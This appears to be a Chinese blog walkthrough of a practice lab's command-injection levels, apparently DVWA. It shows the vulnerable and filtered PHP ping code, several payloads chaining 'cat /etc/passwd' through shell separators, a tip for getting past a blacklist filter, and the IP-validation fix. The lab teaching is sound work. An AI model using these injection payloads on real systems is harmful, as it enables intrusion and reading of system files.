- A+
第一关 :
1 |
$target = $_REQUEST[ 'ip' ]; |
没有任何过滤
paylod:
1 2 3 4 5 |
127.0.0.1; cat /etc/passwd 两个命令都执行 127.0.0.1 | cat /etc/passwd #执行后面的 127.0.0.1 & cat /etc/passwd #两个命令都执行 127.0.0.0 || cat /etc/passwd #判断第一个假,执行后边 127.0.0.1 && cat /etc/passwd #判断同为真 |
第二关:
1 2 3 4 5 6 7 |
$target = $_REQUEST[ 'ip' ]; // Remove any of the charactars in the array (blacklist). $substitutions = array( '&&' => '', ';' => '', ); |
过滤了“&&” 和“ ;”,我们可以用其他payload绕过
第三关:
1 2 3 4 5 |
$target = $_REQUEST["ip"]; $target = stripslashes( $target ); $octet = explode(".", $target); if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4) ) { $target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3]; |
我们要明白几个函数的作用:
1 |
stripslashes() 删除反斜杠 |
1 |
explode(separator,string,limit)函数把字符串打散为数组 |
separator | 必需。规定在哪里分割字符串。 |
---|---|
string | 必需。要分割的字符串。 |
limit | 可选。规定所返回的数组元素的数目。可能的值:大于 0 - 返回包含最多 limit 个元素的数组小于 0 - 返回包含除了最后的 -limit 个元素以外的所有元素的数组0 - 返回包含一个元素的数组 |
1 |
is_numeric()函数用于检测变量是否为数字或数字字符串 |
分析:
把传进的参数以.
分割为数组,取前四个,利用is_numeric()
函数分析是否为数字类型
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫